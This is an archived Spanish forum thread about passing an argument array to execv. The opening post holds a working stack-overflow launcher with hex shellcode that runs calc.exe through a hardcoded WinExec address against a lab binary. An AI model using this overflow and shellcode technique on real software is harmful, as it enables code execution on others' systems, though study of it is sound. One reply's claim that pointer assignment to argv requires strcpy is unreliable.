Test Foro de elhacker.net SMF 2.1

Programación => Programación C/C++ => Mensaje iniciado por: .:UND3R:. en 18 Junio 2013, 01:14 AM

Título: crear arreglo con distintos tipos de datos?
Publicado por: .:UND3R:. en 18 Junio 2013, 01:14 AM
Hola a todos estoy haciendo una shellcode:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void main(int argc, char *argv[]) {
char relleno[1024] ="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char offset[]  = "\xED\x1E\x95\x7C";
char exploit[] = "\x55\x8B\xEC\x83\xEC\x0C\x32\xD2\xC6\x45\xF4\x63\xC6\x45\xF5\x61\xC6\x45\xF6\x6C\xC6\x45\xF7\x63\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6\x45\xFA\x78\xC6\x45\xFB\x65\x88\x55\xFC\x8D\x45\xF4\x6A\x01\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x8B\xE5\x5D";

strcat(relleno,offset);
strcat(relleno,exploit);

argv[0] = "vuln1";
    argv[1] = relleno;
    argv[2] = NULL;

execv ("vuln.exe",argv);

}


Esta funciona de maravilla, lo que si me surge una duda con respecto a execv, cómo se puede apreciar se le envían los parámetros de argv (estos se asignan con anterioridad), pero me surge la duda de cómo podría crear mi propio arreglo con distintos tipos de datos como lo es en argv para posteriormente entregárselo a execv, saludos.
Título: Re: crear arreglo con distintos tipos de datos?
Publicado por: amchacon en 18 Junio 2013, 01:35 AM
El paramétro argc te dice cuantos parámetros se han pasado al programa.

Por cierto:

argv[0] = "vuln1";
argv[1] = relleno;
argv[2] = NULL;


Estas equivalencias son erroneas (no se puede usar asignación en cadenas char, tienes que usar strcopy, además estás modificando los argumentos que te han pasado *_*).
Título: Re: crear arreglo con distintos tipos de datos?
Publicado por: cpu2 en 18 Junio 2013, 01:56 AM
Te dejo un ejemplo en ASM, creo que es lo que pretendes hacer.

Código (asm) [Seleccionar]
pushq %rax
pushw $0x6c2d
pushq %rsp
popq %rcx
movq $0x736c2f6e69622f, %rbx
pushq %rbx
pushq %rsp
popq %rdi
pushq %rax     ; argv[2] = NULL
pushq %rcx     ; argv[1] = "-l" su direccion, o en tu caso relleno.
pushq %rdi      ; argv[0] = "/bin/ls"
pushq %rsp
popq %rsi
movb $0x3b, %al
syscall


Cualquier duda ya sabes.

Un saludo.
Título: Re: crear arreglo con distintos tipos de datos?
Publicado por: flony en 18 Junio 2013, 03:54 AM
hola cp2....pasarias un buen libro o tutorial de asm :)
Título: Re: crear arreglo con distintos tipos de datos?
Publicado por: cpu2 en 18 Junio 2013, 09:16 AM
.:UND3R:.  te dejo dos en C.

char *ls[] = { "/bin/ls", "-l", NULL };

execv (ls[0], ls);


Tú caso sería este.


char *vuln[] = { "vuln.exe", relleno, NULL };

execv (vuln[0], vuln);


Pero es más eficiente el de ASM.

Cita de: flony en 18 Junio 2013, 03:54 AM
hola cp2....pasarias un buen libro o tutorial de asm :)

Cualquier libro ya esta bien, y luego ir tirando con los manuales de instrucciones.

Un saludo.
Título: Re: crear arreglo con distintos tipos de datos?
Publicado por: pacoperico en 18 Junio 2013, 12:56 PM
Cita de: .:UND3R:. en 18 Junio 2013, 01:14 AMcómo podría crear mi propio arreglo con distintos tipos de datos

No se puede, todos los elementos del arreglo han de ser del mismo tipo de variables. Lo que puedes hacer es crearte una estructura y ahi si puedes combinar distintos tipos de variables.